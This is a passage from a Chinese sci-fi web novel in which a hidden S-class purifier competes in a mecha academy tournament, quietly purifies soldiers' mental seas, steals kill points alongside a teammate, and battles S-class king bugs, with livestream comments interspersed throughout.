赵宴月没理会许白亦“让他缓缓”的需求，将巴掌往他背上猛地一拍，豪情壮志道：“既然你已经知道了，有我在新星杯你就放心吧！” 见许白亦被她这一巴掌拍得整个人都往前趴了点，赵宴月若无其事地收回手：“区区联赛资格，根本没有难度哈。” 许白亦捂着被磕到的胸口坐起身，平静地点了点头：“确实，那就接下来靠你了，尊贵的赵宴月选手。” 原本见他们终于打破沉默，正在静观事态发展的网友：“……” “……垃圾女王和许白亦这两人都眩晕菇吃中毒了吧。” “你们一个第99名到底有什么好放心的。” “让大家见笑了，我们垃圾女王平时不这样的……哈哈。” “已经录屏了，这一段我将在未来反复拉出来鞭尸。” “死嘴快别说了，你知不知道你直播间还有好多法温莎和西廷尔军校的人在暗中潜伏，别给人笑死了。” “唉，我当初造了什么孽非要粉她。” “垃圾女王到底摊牌什么了，怎么突然燃起来了，有什么是我们尊贵的直播间会员不能听的。” “我也想知道，还‘你别告诉别人’，越这么说我越想知道。” 第75章 悬浮舰的金属舱壁反射着顶灯明亮的光, 去往净化室的走廊上挤满了神色稍显疲惫的选手。 “A级精神海请前往A01-A03净化室等候区等候，A级以下精神海请前往A04-A05净化室等候区等候。” 等候区里的选手或站或坐，一张张年轻的面孔上写满了劫后余生的庆幸和挥之不去的焦虑, 交谈声嗡嗡作响, 关键词却出奇的一致。 “A级虫族这两天突然好多，好像都是从秘境外进来的, 秘境里的本土A级虫族根本没那么多。” “别说了，高级虫族变多了净化资格还不好抢，我们小队现在污染数值没到59%都不敢用净化资格。” “太极限了哥们, 不过还有好多被A级虫族盯上直接强制退赛的。” “旱的旱死涝的涝死，我们这边苦哈哈的, 那些3S队伍是真猛啊，他们解决A级虫族跟砍瓜切菜似的，积分赚个没完。” “3S队伍都是大三大四的S级机甲尖兵, 未来只会出手斩杀S级王虫的顶尖战力, 那能和他们比吗。” 等候区的电子广播声在嘈杂的人声中显得格外清晰：“净化资格使用完毕的选手，请尽快前往下层甲板投放区, 不要在等候区滞留。” 有积分的压力压在身上，选手们也就在等候净化时能放松片刻, 净化完后都不需要广播提醒便匆匆离开。 赵宴月和许白亦跟着大部队来到等候区, 他们不需要净化, 等江茂茂的功夫顺便在洗漱区将自己翻新了一下。 冰冷的水泼在脸上, 稍微驱散了疲惫, 赵宴月看着镜中自己挂着黑眼圈的脸，感叹在秘境里能休息好才怪。 江茂茂从净化室里出来后立马找到了两个队友汇合，人还没走过来，嘴巴就先张开了。 “等净化的选手一天比一天多, 你们杀王虫的时候我在这排队排半天，不过看弹幕还挺有意思的。” 他说到这凑近赵宴月和许白亦，压低了声音：“你们听见选手说的没，不只是我们巨兽坟场，秘境好多地方都出现了撕裂秘境进来的A级虫族，这也太邪门了，不过好在竞争对手也少了。” 许白亦摇了摇头：“真正的竞争对手其实积分更多了。” 江茂茂闻言一下子蔫巴了下去：“也对，我们赶紧回去吧，抓紧时间多赚点积分。” 就在这时，一头红毛的男人穿过人群径直走到他们面前，他的目光精准地落在赵宴月身上，冷淡道：“赵宴月选手？” “咔嚓咔嚓”的声音一停，赵宴月将从补给点上拿到的饼干顺手塞进江茂茂手里，配合道：“我是。” 在周围看来的“安保组大佬为什么会单独找上选手”的好奇目光下，祁燃打着公事公办的官腔：“请跟我来一下，有事需要与你沟通。” 江茂茂听完也是一愣，下意识维护道：“什么事啊？新星杯没规定不能按其他选手的退赛键吧？这可不算违规操作。” 许白亦的目光不动声色地在祁燃和赵宴月身上转了一圈。 “可能是关于刚才A级虫族的情况需要进行补充记录。”他看向江茂茂，指了指一个人相对少的补给点：“那边好像有限量供应的茶歇，我们过去休息一下再走吧。” 江茂茂闻言有些狐疑看了眼许白亦，不过见赵宴月也没说什么，便点点头道：“那你们快点啊，积分不等人。” 赵宴月跟着祁燃穿过嘈杂的通道，走向悬浮舰深处更安静的区域。 祁燃一改之前的不熟式冷淡，笑眯眯道：“殿下在新星杯的表现真是勇猛无比，看得人肾上腺素飙升。” 赵宴月感觉他这句夸奖里面有种奇怪的意味，不够真心实意。 她思考了一会儿，真心实意地建议道：“这样，你也去拜读一下《5分钟打动人心——合理运用赞美的108种方法》。” 祁燃不像是撒因，他一下子就意会到了赵宴月的阴阳怪气。 男人轻咳一声，情感充沛抑扬顿挫道：“我的意思是殿下简直就是殿下中的殿下，尖兵中的尖兵。” 赵宴月冷漠纠正：“祁上校，其实我是机甲工程系的。” 祁燃：“……” 厚重的合金门无声滑开，办公室里是与等候区截然不同的肃穆与冷清。 这是一间不大的指挥室，中央悬浮着一幅死灵秘境全息地图，上面密密麻麻标注着不同颜色的光点和不断更新的数据流。 地图旁站着两个人，一个是赵宴月曾经在三垣星系会议中心见过的——准确来讲是在全息通讯里见过的天市星第六席执政官。 她看着约摸四五十余岁，穿着剪裁合体的深灰色行政西装，气质沉静雍容，眼神深邃平和。 另一个中年男人面容刚毅，眉宇间带着一丝疲惫，正凝神看着地图上几处被标成刺目红色的区域。 执政官转身看向赵宴月，率先开口道：“殿下贵安。” “执政官贵安。” “我和殿下也不算是第一次见面。”她对赵宴月笑了笑：“对了，这位是联邦军校联合赛事总负责人林振林指挥。” 林振的目光在赵宴月身上停留了许久，才缓缓呼出一口气，声音沉稳道：“赵宴月选手，请坐。” 等赵宴月坐下后，林振的手指在全息地图上一划，数据流如瀑布般刷下。 “时间紧迫，我长话短说，按照秘境空间壁垒监测显示的数据，我们推测过几天可能会有数量不少的S级王虫进入秘境。” 赵宴月一听这话便知道了找自己来这一趟的意思：“可以，如果有必要的话，我可以连接安保组所有S级机甲尖兵的精神海，为他们的工作提供保障。” 林振似乎完全没想到赵宴月会这么想，他看向赵宴月道：“不……我的意思是联赛办可以保证殿下的联赛参赛资格，但是殿下不能继续再在死灵秘境里待下去了。” 赵宴月喝茶的动作一顿，她掀起眼皮语气凉凉道：“新星杯会因为这件事停赛吗？” “不会，但是赛程会更改。” “既然其他选手都在，那我为什么要出去。” 林振皱眉道：“殿下……” “林指挥刚才还叫我‘赵宴月选手’，这时候又来叫什么殿下。”赵宴月翘起二郎腿往椅背上一靠，不配合的态度十分明显，看向林振的眼神里全是不爽：“既然我也是新星杯的选手之一，为什么我要出去。” 林振看了坐在一边悠闲品茗的执政官一眼，执政官接收到他的眼神信号，像是事不关己高高挂起般开口道：“你们聊。” 林振：“……” 明明这是执政官让他开口提的提议，现在又给他来这么一副不关我事的态度。 林振忍气吞声地收回视线，然后调出文件投影展示给赵宴月看：“好的，为了选手的安全，执政官已经批准新星杯应急预案，预案对剩余赛程进行了重大调整，总赛程会缩短至十天，并且比赛场地范围会缩小到骸骨荒原区域，赵宴月选手注意保护自身安全。” 一直沉默的执政官这时才缓缓开口，她的声音不高但很清晰，带着一种不容置疑的温和：“赛程的调整是基于最坏情况的必要措施，既然殿下不同意林指挥的提议，那我们就按照殿下的想法来。” “这么多S级王虫一起出动已经不亚于虫潮的规模，我们额外征调了目前天市星能调得动的S级机甲尖兵加入安保组，他们的精神海污染都在80%的边缘，需要殿下多多注意。” 赵宴月看了眼执政官，忽然向林振问道：“现在安保组里有多少S级机甲尖兵？” “27位。” 见赵宴月问完就没了后文，只是没什么异议地点头，执政官眸光微动，心里松了一口气。 在净化资源本就稀缺的如今，能为天市星的S级机甲尖兵们争取到一点净化的机会是一点。 执政官微微向前倾身，姿态优雅中又带着政客身上独有的压力，巧妙地将请求包装成双方的共同目标：“新征调的S级机甲尖兵此刻就在下层待命，为了到时候能成功连接上他们的精神海，殿下现在可以过去，让他们熟悉一下殿下的精神力。” 赵宴月没说其实根本用不上熟悉，只要对方不反抗她就能闯进去，其实反抗她也能闯进去，但是这种情况有概率把对方变成傻子。 看着执政官眼里的细微期冀，赵宴月虽然猜测自己大概率被执政官做局了，但还是往坑里跳了进去。 指挥室内陷入了短暂的寂静，只有投影地图的机器上传来细微嗡鸣声，赵宴月应道：“行。” 赵宴月出指挥室的时候，依旧是祁燃给她带路，祁燃一见到这情况就知道赵宴月没有答应保送联邦军校联赛。 “这些执政官一个个都精明得很，拐着弯地扣殿下的精神力用。” 赵宴月的脚步不停，好整以暇道：“怎么说。” “殿下应该知道每一位净化师都会脱离原有星籍，直属联邦政府管辖，天市星年年在联邦军校联赛里垫底，分到的净化资源最少。” 祁燃说到这，干脆举了个例子：“殿下在禁区时拿到的S级机甲尖兵名单，上面绝大部分人的星籍都是紫微星，目前天市星上大部分S级机甲尖兵的名字还没法填到送给殿下的净化名单里，执政官一下子塞这么多人进来，这不是卡bug是什么。” “你还义愤填膺上了。” 祁燃十分理直气壮道：“这便宜没被我们太微星占到，我义愤填膺一下怎么了，新星杯赛程缩短到只剩两天，这两天里能进来的S级王虫十分有限，明明仅凭安保组就能轻松解决的事，她非要再塞一堆人进来蹭，还不让人说了吗。” “能被卡的bug说明不影响游戏的正常运行，卡卡更健康。” 祁燃眯起眼睛，忽然道：“你偏心是吧，我就知道，你根本就不是这种会被别人占便宜的人。” 赵宴月：“……我懒得和你多说。” 第76章 新征调来的S级机甲尖兵们并不在净化室里, 而是在高级军官休息室内等候。 休息室内的景象与外面嘈杂的等候区截然不同，地面上铺着深色地毯，柔和的灯光从穹顶洒落, 照亮了房间中央一圈舒适宽大的真皮沙发和低矮茶几, 就连空气中都弥漫着淡淡的能舒缓精神的熏香。 十几个身着便装的男女分散坐着，他们姿态各异, 有的闭目养神，有的在低声交谈。 每个人身上都隐隐透着一股经历过铁血洗礼的锐利与沉凝，即便是新星杯看起来迅猛无比的3S队伍, 在他们面前都会显得气质柔软。 一个身形健硕如铁塔般的男人声音不高不低道：“真有S级净化师？” “执政官阁下亲自保证的，应该不会错。”一个扎着利落马尾的女人接话道。 话是这么说, 只不过她语气带着一丝随意，明显也没怎么信。 她身边另一个看起来更沉稳些的中年男人摇了摇头：“难说。” 角落里正在擦拭匕首的瘦削青年抬起头，轻笑一声道：“怕不是把我们骗来当新星杯那群小崽子的保安, 这一届安保组里的S级机甲尖兵听说都是从禁区里出来的, 对他们那群狂躁症不放心吧。” “说得好像你离患上狂躁症有多远似的，这次真要有S级王虫出现, 我们这些人都得患上狂躁症。” “那有什么办法，污染指数轻的S级都在远征军里发光发热, 也就我们这些半死不活的还调得动。” 厚重的合金门在此时无声地滑开, 狐狸眼下挂着两个大大黑眼圈的少女比他们看着还半死不活地走了进来。 她穿着简简单单的T恤和长裤, 外套上还沾着一些不知道哪来的草屑, 头发也扎的潦草。 看着和休息室的装潢有些格格不入, 气质倒是从容。 在她踏入的瞬间，房间内原本的低语声瞬间消失，所有目光齐刷刷地聚焦在她身上。 好奇、探究、审视，甚至带着一丝不易察觉的……疑惑。 虽然云中宫殿的净化师对他们来说没什么用, 但他们也执行过不少护卫净化师的任务。 没吃过猪肉也见过猪跑，谁不知道净化师就是金贵的代名词，总之这个世界上根本没有看着这么不体面的净化师。 赵宴月对这不痛不痒的打量视线接受良好，她走到沙发中间的C位，像吸引学生看过来的幼教老师般拍了拍手。 “放松精神，不要抗拒，我会将精神力探进你们的精神海尝试进行连接。” 她的话一说完，不少人便有些为难地皱起了眉头。 要毫不抵抗地让一个陌生人的精神力进入精神海，这对习惯了掌控一切的S级机甲尖兵们来说着实有点难办到。 万一一个没忍住反抗得激烈了一点，造成的后果不是自己变傻子就是对面变傻子。 当然，他们觉得前者的可能性微乎其微。 赵宴月根本不管他们在想什么，很有职业道德地说着净化前的温馨提示：“触动精神海屏障后可能会有轻微冲击感，但不会对你们造成伤害，还有什么问题吗，没有问题就闭上眼睛放松。” “放松？”身量像个铁塔般的男人笑了一声，“你知道精神海是什么地方吗？万一……” 他的话没说完，赵宴月就决定好了拿他开刀。 一股无形的、磅礴浩瀚的精神力瞬间闯进了男人的精神海，它身上带着一丝并不具备攻击性的狂暴，直白而十分不讲道理。 在把男人精神海屏障里触发的精神力扇了回去后，赵宴月一碗水端平，依次将剩下每个人的精神力屏障都打服了。 他们引以为傲的S级精神海，在这股流氓一般的精神力面前，精神海屏障竟然都没能撑住多久。 ——就这么轻而易举地碾碎了下意识的防御念头，甚至根本来不及反应，更谈不上抗拒。 从未被探访过的精神海被暴力闯入，机甲尖兵们瞬间瞳孔骤缩，身体不受控制地绷紧。 而与此同时，精神海里那粘稠沉重的污染黑雾如同遇到了克星般，无声地尖叫着被湮灭。 即便只净化了一丝，也带来了难以言喻的舒畅与清明。 整个过程快得超乎想象，或许仅仅持续了不到半分钟，赵宴月便毫不留情地精神力收了回来。 虽然一次性连接了十几位S级，但是每个人都只净化了一点，对精神力的消耗不算多。 倒也不是她吝啬，要想将污染严重的S级精神海完全净化干净，她一天顶多也就能净化两个人，但她的精神力还得留下来赚积分。 只能稍微净化一点意思一下了。 房间里彻底安静了下来，只有赵宴月不知何时又从茶几上顺了一包饼干啃了起来，发出“咔嚓咔嚓”的声音。 S级机甲尖兵们的脸上充斥着些许还没反应过来的茫然，不少人的指尖无意识地掐进了掌心。 精神海如同干裂的田地汲取到一小捧的甘泉，因为没能被彻底滋润，反倒留下更深的焦渴。 他们的目光里不再流露出当惯了天之骄子的傲慢，反而充斥着一丝近乎偏执的渴望和怅然若失。 能净化他们的净化师真的存在，净化师这三个字突然就拥有了含义，对他们来说不再只是一个浮于表面的、可以随意把玩的称呼。 赵宴月见他们都神志清醒，没有谁被自己治傻，对自己的技术满意地点了点头，眼里全是对自己的欣赏。 “如果之后两天需要安保组出手干预比赛，我会及时连接上你们的精神海，确保你们的污染值低于80%。” 她说完没有多待，将擦拭手指的纸巾扔进垃圾桶里，拍拍屁股就走了，快到让人都反应不过来。 既然已经提前知道了比赛只剩两天的信息，现在的每分每秒就更不能浪费。 当赵宴月重新走到补给点时，江茂茂正百无聊赖地戳着一块造型精致的茶点。 许白亦见她来了，又给自己灌了几口水后站起身道：“走吧。” “快快快。”赵宴月反过来催促起往兜里装能量棒的江茂茂：“比赛还有两天就结束了，抓紧时间赚积分。” “两天？”许白亦讶异道。 “我刚打探到的消息，晚上八点赛事主办方就会发布赛事调整公告。”她说到这顿了顿，像是教导主任似的看向江茂茂：“有些选手我就不点名了，都什么时候了，自己心里有点紧迫感哈。” “走走走。”江茂茂态度良好地接受批评，也没问她这消息可不可靠，反正不管真的假的他们都得抓紧时间。 一回到秘境，许白亦便放出精神力搜寻，目标明确地直指A级虫族。 三个人的队伍如今已经配合得相当好，赵宴月远程精准狙击节点制造破绽或牵制，许白亦近身作战，江茂茂用穿梭辅助，战术十分清晰，配合得也越来越默契，击杀高等级虫族的速度和稳定性显著提高。 虽然疲惫，但一种在高压下淬炼出的锐气也渐渐在三人身上凝聚。 当三人的精神力都耗空时，新星杯赛事主办方的公告也正式在星网上发布。 “紧急通知：鉴于秘境环境突发异常变化，为保障全体选手安全，经联邦军校联合赛事指挥中心报请天市星执政官批准，现对202届新星杯赛程做出如下重大调整……” “202届新星杯截止目前，淘汰选手6948人，剩余参赛选手6720人。 积分统计截止到今晚20：00，各队伍排名已公布，请注意查收！” “NO.1：X-0044，当前积分：13002 NO.2：X-0019，当前积分：12599 …… NO.99：X-4018，当前积分：6888 NO.100：X-2378，当前积分：6887” 赛程调整一出，便在星网上造成了不小的反响。 “秘境环境突发异常变化……其实我也感觉到了有点异常，这才第八天就淘汰一半了。” “虽然这么说很奇怪，但我总觉得撕裂秘境进来的虫族比起击杀选手，更像是在找人……” “虫族对人类只有一视同仁的食欲好吗，怎么可能为了一个人大动干戈，是吃了能长生不老还是咋的？” “反驳，不是说之前王虫在Z-21星上发动的虫潮就是为了劫持颜温殿下。” “Z-21星的虫潮应该不是这个原因，殿下就算是美味小点心，但不至于让虫族这么劳师动众。” “根据公元5366年出版的《虫族》记载，数百年前也发生过这种事，专家推断这是虫族在王虫孵化后出现的朝贡行为。” “恐怖片，这不是我这个年龄段应该听到的东西。” 赵宴月看完排名便关了光脑，她抻抻胳膊又抻抻腿，缓解了一下有些酸痛的身体。 A级虫族的出现确实只淘汰了本身就不太可能进入前100名的队伍，排名靠前的队伍不但没受影响，反倒积分积累速度越发惊人。 “稳得很稳得很，还是第99名，稳到最后两天结束就行。”江茂茂倒是十分乐观，他一屁股坐在地上长呼一口气，“第一名果然变成了司焕的队伍，我记得他们队第一赛程还在前十名开外。” 赵宴月客观陈述：“毕竟第一赛程他们给我们队打了600积分的黑工。” 江茂茂恍然大悟：“对哦，忘了这回事了。” 许白亦此时也从积分排名上收回目光，他望向远处荒原上影影绰绰的仍在为积分拼搏的其他机甲光影道：“越是靠近前100的队伍竞争越激烈，这两天必须多攒点积分，免得到了最后功亏一篑。” 夜空下，骸骨荒原的风带着尘土的味道，赵宴月和江茂茂排排躺，也学着他的语气十分乐观道：“攒积分还不简单，S级王虫1000积分一位。” 许白亦看了她一眼，然后又看了一眼，忽然也恍然大悟：“对哦，忘了这回事了。” 江茂茂：“……？” 哪回事？ 他们队伍这么多天都没有击杀任何一个S级王虫，原来是因为忘了这回事了吗。 第77章 新星杯最后两天的倒计时如同悬在骸骨荒原上空的达摩克利斯之剑, 瞬间点燃了选手们的紧迫感。 ——准确来说是部分选手。 赛程缩短至只剩两天，稳在前六十名的队伍其实已经将联赛参赛资格收入囊中，不但没有紧迫感反而有点心如止水。 而排名两百开外的队伍回天乏术, 比前者的心态还要稳定, 直接将新星杯当成了面对虫族的实战训练场。 唯有不上不下卡中间的队伍水深火热，有看似努把力就能进前100名的胡萝卜在前面吊着, 恨不得把一分钟掰成两瓣用。 这些选手杀虫族杀得头顶冒烟，而悬浮舰总控室里的气氛也并不轻松。 监测员盯着光屏上的数据播报道：“空间壁垒参数异常，骸骨荒原西南方（118, 274）位置预估即将成为S级王虫突破点。” 这边话音一落，骸骨荒原西南方的空中便仿佛被无形巨手撕开了几道黑色的漩涡, 在本就灰暗的天幕上接连绽开。 一股远比A级虫族恐怖百倍的污染能量像是海啸般，无声地席卷了整个骸骨荒原的西南区域。 黑色的漩涡之中，数个身影缓缓降临。 它们拥有比人类本身更加完美的人类形态, 穿着样式古怪又质感非凡的银黑色贴身服饰, 唯一的非人特征是头顶两根看着脆弱而纤细的触角。 S级王虫悬浮在空中，俯视着下方如同蝼蚁般的机甲和人类。 它们似乎正在锁定各自的目标, 但眼神却淡漠到连攻击欲都没有，像是个无情的战斗机器。 附近选手的污染监测器数值如同脱缰野马般来了个瞬间抬升, 几个S级王虫同时出现, 叠加的污染让3S队伍都毫不犹豫地调转了方向。 司焕的精神力连接在队友身上, 他规划出来的代表撤离路径的绿色线条在队友的脑海里也清晰无比。 “避开王虫, 绕路清理其他目标, 我们的积分已经足够。” 有了指挥的小队效率极高，就连撤离的动作都格外整齐划一，用最快的速度脱离了污染区域。 而另一支正被两个A级虫族围攻的小队本就险象环生，再加上S级王虫的突然降临, 污染值瞬间冲破60%。 在激烈的战斗和恶劣环境的双重压迫下，选手慌神间差点被A级虫族一刀劈中头颅。 安保组的成员不知何时突然出现，轻而易举地将两只A级虫族斩杀，然后冷漠地留下一句：“你们已经被淘汰，尽快脱离秘境。” “啊啊啊啊啊是安保组！好有安全感！” “这不是已经退役的邢舒少将吗，他怎么会来新星杯当安保组。” “退役的S级机甲尖兵精神海污染数值都临近80%了吧，又遇上S级王虫这不完了……” “我服了，这安保组成员怎么安排的？主办方你出来我问你个事。” “我们天市星已经穷困潦倒到需要这么奴役S级机甲尖兵了吗？真够丢人的。” “好了好了先别吵了，你们没发现邢舒少将好像自己都不着急吗……” 邢舒确实不着急，他精神海的污染值稳得不能再稳，甚至在污染区里待久点还能再往下降降。 同样的场景在骸骨荒原各处险象环生的角落上演，安保组神不知鬼不觉地捞出了不少选手。 监测器上的污染指数看似正在临界点上危险地跳动，却又始终被一缕精神力牢牢锁住，无穷接近80%却又死活够不到80%的边。 甚至捞完人回到悬浮舰上后，污染指数比进污染区之前还低一些。 正位于骸骨荒原天南海北另一边的赵宴月感觉自己就像个分出了十几条数据线的充电宝。 这笔买卖说实话有点亏——都称不上买卖，纯属是义务劳动，想借此加点积分都找不出正规理由的那种。 不过既然她为选手的安全做出了重大奉献，那总得想点办法从选手身上讨回来。 如今赛区被缩小到整个骸骨荒原，虽然这块区域总体面积还是很大，但选手也确实变得密集了许多。 有人的地方怎么能没有纷争。 眼见许白亦正在辛辛苦苦击杀虫族支撑起这个家，赵宴月收起狙击枪，找到了正在清小怪的江茂茂。 “我有个馊主意。” 江茂茂：“……你一说馊主意我就应激。” “你发没发现四面八方都是在杀怪的队伍。” “周围这么热闹，我很难没发现。”江茂茂听完她这句话，就已经成功意会到了赵宴月的意思。 他眼睛一亮，语气有些做作的犹豫：“这么做会不会太缺德了，许哥可能不会同意。” “哪里缺德了，这叫攻其不备出其不意，能被抢走的积分说明合该就是我们的积分。” “再说了你管他同不同意呢。”赵宴月继续撺掇道：“一个合格的机甲尖兵要学会自己抢人头，我两一起上，安全绝对有保障。” “啊……不好吧……” “好了好了别演了，但凡你真是个不缺德的我才不找你，你看我就不找许白亦。” 江茂茂：“禁止拉踩。” 赵宴月扭头在许白亦的脑子里打了声招呼：“我和江茂茂去附近杀点低等级虫族。” 机甲传讯器里很快传来男生的回话：“行，有事叫我。” 通讯一断，赵宴月和江茂茂便火速脱离了许白亦的视线范围。 没有多余的废话，赵宴月的精神力如同雷达般扫描着战场，迅速锁定那些被其他队伍重创到即将咽气的A级或者B级虫族。 虫族在感应到她的精神力后触角微动，但是已经无法做出太多反应。 “左前方有个断了腿的B级虫族，三秒后补刀。” 江茂茂如同战场上的泥鳅般，在接到指令的瞬间，他的机甲便穿梭到目标附近的隐蔽处射出一箭，时机把握得分毫不差。 一道因为没有技能加持，并不算强力的可巡回能量箭，总是在目标虫族咽下最后一口气前的刹那精准射出，完成了致命一击。 射完这一箭江茂茂又立马穿梭回来，被抢了积分的选手在没有仔细查看光脑积分的情况下甚至毫无察觉。 等他们察觉不对的时候，两个强盗早就逃之夭夭，不见了踪影。 二人组所过之处，到处传来此起彼伏的叫骂声。 “我积分呢！” “到底哪个队伍在抢我积分！你们队还要不要脸了！” “老子打了半天！滚出来！” “谁这么缺德啊！有种别跑正面刚啊！” “年轻人，给你们长点教训，下次可不要这么大意了。”赵宴月听着叫骂声，语气十分愉悦道。 江茂茂看着积分也发出餍足的感叹：“人还是得学会走捷径啊，这不比许哥辛辛苦苦打架快多了。” 赵宴月发出缺德的附和：“要我说新星杯早就应该缩小场地了，前几天除了虫族都遇不到人有什么意思。” 人有的时候还是不能太快乐了。 两人刚你一句我一句地感叹完，一股浓重的污染便蔓延了过来。 江茂茂都不用看污染数值，便火速使用了一个净化资格：“C级精神海还是太吃操作了，我先上去避一避风头。” 赵宴月感觉自己身后好像有鬼在追，别说回话了，她连头都不敢回，飞速朝着许白亦的方向靠近。 “来活了来活了来活了。” 脑海里出现另一个人的意念，许白亦抬头看去，只见赵宴月身后紧跟着两个身材比例堪称完美的“人”——头上还顶着两根触角的那种。 它们冰冷而无机质的目光带着一种令人毛骨悚然的锁定感，聚焦在了赵宴月的银白机甲之上。 王虫没有咆哮也没有任何多余动作，像一道快到仿佛能撕裂空间的银黑色流光般直奔赵宴月。 沿途阻挡的一切，无论是岩石、骸骨还是其他，都被环绕在王虫身边的流动的金属洪流瞬间分解成飞扬的齑粉。 赵宴月冲到许白亦的身后正打算先缓口气，结果王虫的目光仅仅在许白亦的身上停留了一瞬，便像是无视了他一般，目标一致地冲向他后方的赵宴月。 许白亦立马主动去阻拦，但是他再怎么拦也堪堪只能拦下一个。 “那是谁？疯了吗？”远处的某支3S队伍见状讶异道。 “是我们斯伦的许白亦，早听说过他契约的是秘藏灵兽，可能是想单挑S级王虫。” “不要命了吧，19阶就对上S级王虫，就算他契约的是秘藏灵兽能打过，但只要时间线拉长了就是稳赔不赚的买卖。” “他的队友一个16阶的擦边A级，一个12阶的C级，这个A级还是机甲工程师，可能再不拼一把进不了前100。” “……” “嚯，他队友也挺猛，一个A级工程师也敢顶着污染硬刚S级王虫。” “人家精神海是S级，硬要刚也不是不行，反正不至于直接污染突破60%强制退赛。” 积分排名第二的X-0019小队根本没有积分压力，不仅远远观战了起来，还时不时发表几句观后感。 他们队伍三人十分悠闲，赵宴月的处境却是危如累卵，好在她也不是毫无反抗之力。 小六在精神海里待了这么多天已经升到了三阶，能回复45%精神力的同时，还能对敌人施加45%虚弱的debuff。 根据赵宴月用了这么几天技能的体感来判断，这种程度的技能大概能让对手实力下降四分之一。 ——至少能让她在对上S级王虫的时候不至于被秒了。 随着眼底深处冒起诡异的红光，丝丝缕缕带着不详气息的红线瞬间缠绕上王虫的身体。 感受到身躯的迟滞和虚弱感，王虫的目光出现一丝极其细微的波动，然后又不紧不慢的、像是猫捉老鼠一般和赵宴月打了起来。 根据信息网络传达的信息，王要的猎物刚刚就出现在这附近，而她驾驶的机甲正好符合猎物的已知信息。 需要活捉，然后进行确认。 悬浮舰上不少人见状呼吸都屏住了。 赵宴月的精神海污染数值根本没有达到60%的可能，除非她自己主动脱离秘境，或者遇到致命危险，否则安保组都没有下场捞人的理由。 所以就算心脏就要跳出嗓子眼，也只能眼睁睁地盯着，然后时刻做好准备。 还好这段时间一直看着她和虫族打了个没完没了，多多少少心脏也算是被锻炼出来了。 不然乍一看到天上地下仅此一位的S级殿下直面S级虫族，就算是S级机甲尖兵也很难不嘎巴一下晕过去。 或者说正因为是S级机甲尖兵，所以才更容易直接两眼一黑。 短短几分钟，赵宴月就被王虫操练得气喘吁吁，但她也发现王虫似乎并没有表现出要置她于死地的意思。 王虫身边环绕的未知金属变换多端，时而变成长刀，时而变成长鞭，时而又变成锯齿，堪称诸武精通。 ——打起来的感觉像是碰到了下手狠但并不想打死人的顶级陪练。 虽然赵宴月感觉自己在王虫身上学到了不少战斗技巧，但王虫出手着实刁钻而狠辣，机甲此时已经布满了狰狞的凹痕和撕裂。 不知何时凝聚成的金属重锤砸落在机甲的右臂上，伴随着刺耳的金属扭曲声，机甲右臂连同肩部的装甲都瞬间变形。 巨大的冲击力让机甲如同断线的风筝般倒飞出去，驾驶舱内赵宴月脸色猛地一白，不仅感觉手骨折了，就连五脏六腑好像都移了位。 王虫的身影化作一道几乎看不见的银线迅速逼近，手中的长刀直刺机甲驾驶舱。 赵宴月连缓冲的时间都没有，就感觉驾驶舱厚重的门被挑开了半边，外界的光线瞬间闯了进来。 她的脑袋空白一瞬，下一秒就使出吃奶的力气一脚踹在了王虫探进来的、被手套覆盖的手臂上，然后猛地操控机甲飞了起来。 “有没有道德有没有素质有没有王法，你什么档次我什么档次，竟然敢来抓我。” 经过这一番惊险的操作，赵宴月用胡言乱语宣泄了一下自己愤怒的心情，然后对准下方的王虫轰出好几梭火焰弹。 王虫侧身闪避，不知道什么材质组成的银黑色衣服在被烧焦后又立马复原。 刚刚的靠近并不是一无所获，虽然被毫无防备地踹了一脚，但它已经捕捉到空气中微弱的净化因子，可以确定目标。 随着一抬手，王虫身侧的金属流体变换成数发尖锐的棱形刀片，密集地刺向空中的机甲。 赵宴月的流星天火将密密麻麻的刀片砸落，但仍有漏网之鱼再次对机甲造成了损伤。 驾驶舱内响起机甲即将丧失作战能力的警报声，赵宴月立马操控机甲从空中落地。 在王虫袭来之前，她火速用精神力拆了机甲上的狙击枪。 熟练工就是这点好，就算不用引导棒也能拆了机甲上加装的武器。 狙击枪砰地一声砸落在地上，在机甲化作流光消散的同时，银白色的巨狼凭空出现，接住了刚好从驾驶舱里跳出来的赵宴月。 虽然机甲态已经无法维持，但是并不代表小五也没有了行动能力。 赵宴月骑到小五身上弯下腰，扛起地上型号适配机甲的巨型狙击枪，重新和王虫打起了追击战。 因为没有了机甲的防护，双方每一次交锋都看得人心惊肉跳，让弹幕和观战的选手们发出压抑不住的惊呼。 “垃圾女王好顽强的战斗力……” “史上第一个不用机甲直面S级王虫的真正的勇士，来人把这一段剪进这一届新星杯超燃特辑。” “垃圾女王真是命途多舛，怎么老是被高等级虫族盯上。” “还不退出秘境吗，我都要心疼垃圾女王的精神海了。” “有一说一，垃圾女王其实已经不比A级机甲尖兵差了，只不过她总是遇到很荒谬的对手，显得有点菜菜的。” “就算你被淘汰了我也会一直喜欢你的，别打了别打了，你的精神海怎么办啊我好着急……” “许白亦来了！不过这也太难熬了。” 许白亦不用考虑精神海污染数值的事，战斗起来甚至感觉到了酣畅淋漓，僵持许久后硬生生越级击杀了S级王虫， 正在追击赵宴月的王虫对同伴的死亡无动于衷，好像不管是杀人还是被杀都无法激起它们的任何情绪。 只不过有了许白亦的加入，赵宴月便得到了喘息，不再紧绷得像是时时刻刻都走在钢丝上。 她坐在小五的背上，扛着狙击枪给许白亦打辅助。 在成功解决了本身就带着虚弱debuff的王虫后，两人的精神稍一放松，浑身的酸痛和疲惫感也如潮水般涌了上来。 光脑上的积分到账提示很好地缓解了身体的疲惫，X-4018队伍积分直接突破了10000。 “这下稳了。”赵宴月让小五回精神海修复，自己一屁股坐到了地上休息。 “这么多？”许白亦稍稍疑惑了一下，然后又十分具有忧患意识道：“我们在赚积分的时候别的小队也在赚，不能大意。” “有道理。”赵宴月从别的队伍身上摘了不少果子，必不能到最后被其他队伍摘了自己的果子，“还是击杀S级虫族性价比高，等回复一下精神力就去找落单王虫。” 许白亦点了点头，没有一点犹豫地同意了这个提议。 弹幕：“……？” “请问他们是疯了吗？” “虽然王虫确实从来不打配合，但是用‘落单’来形容S级王虫很有问题。” “刚才是被迫应战我还能理解，主动找上S级王虫是想干嘛？” “垃圾女王我就先不批评了，反正她的思考方式一贯成谜，但是许白亦又是怎么个事？你的精神海也不想要了？” “3S队伍都没说要主动去击杀S级王虫，你们怎么敢的。” “光脚的不怕穿鞋的呗，3S队伍要保证自己必须尽可能缩短作战时间，在真正上战场之前还能再练两年，不用急着在新星杯就对上，而这两人明显已经对精神污染不在乎了……” “年轻人真是不知道天高地厚，敢打敢拼但是完全不计后果。” 